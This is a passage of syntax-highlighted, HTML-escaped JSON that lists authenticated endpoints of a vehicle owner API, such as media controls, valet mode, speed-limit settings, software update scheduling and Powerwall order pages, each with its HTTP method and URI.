&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/media_prev_track&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MEDIA_NEXT_FAVORITE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/media_next_fav&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MEDIA_PREVIOUS_FAVORITE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/media_prev_fav&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MEDIA_VOLUME_UP&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/media_volume_up&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;MEDIA_VOLUME_DOWN&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/media_volume_down&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SEND_LOG&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/logs&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;RETRIEVE_NOTIFICATION_PREFERENCES&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/notification_preferences&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SEND_NOTIFICATION_PREFERENCES&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/notification_preferences&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;RETRIEVE_NOTIFICATION_SUBSCRIPTION_PREFERENCES&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicle_subscriptions&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SEND_NOTIFICATION_SUBSCRIPTION_PREFERENCES&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicle_subscriptions&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;DEACTIVATE_DEVICE_TOKEN&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/device/{device_token}/deactivate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CALENDAR_SYNC&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/upcoming_calendar_entries&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SET_VALET_MODE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/set_valet_mode&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;RESET_VALET_PIN&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/reset_valet_pin&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SPEED_LIMIT_ACTIVATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/speed_limit_activate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SPEED_LIMIT_DEACTIVATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/speed_limit_deactivate&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SPEED_LIMIT_SET_LIMIT&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/speed_limit_set_limit&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SPEED_LIMIT_CLEAR_PIN&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/speed_limit_clear_pin&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;SCHEDULE_SOFTWARE_UPDATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/schedule_software_update&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CANCEL_SOFTWARE_UPDATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/vehicles/{vehicle_id}/command/cancel_software_update&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;POWERWALL_ORDER_SESSION_DATA&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;api/1/users/powerwall_order_entry_data&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;POWERWALL_ORDER_PAGE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;GET&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;powerwall_order_page&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;CONTENT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;HTML&amp;#34;&lt;/span&gt;
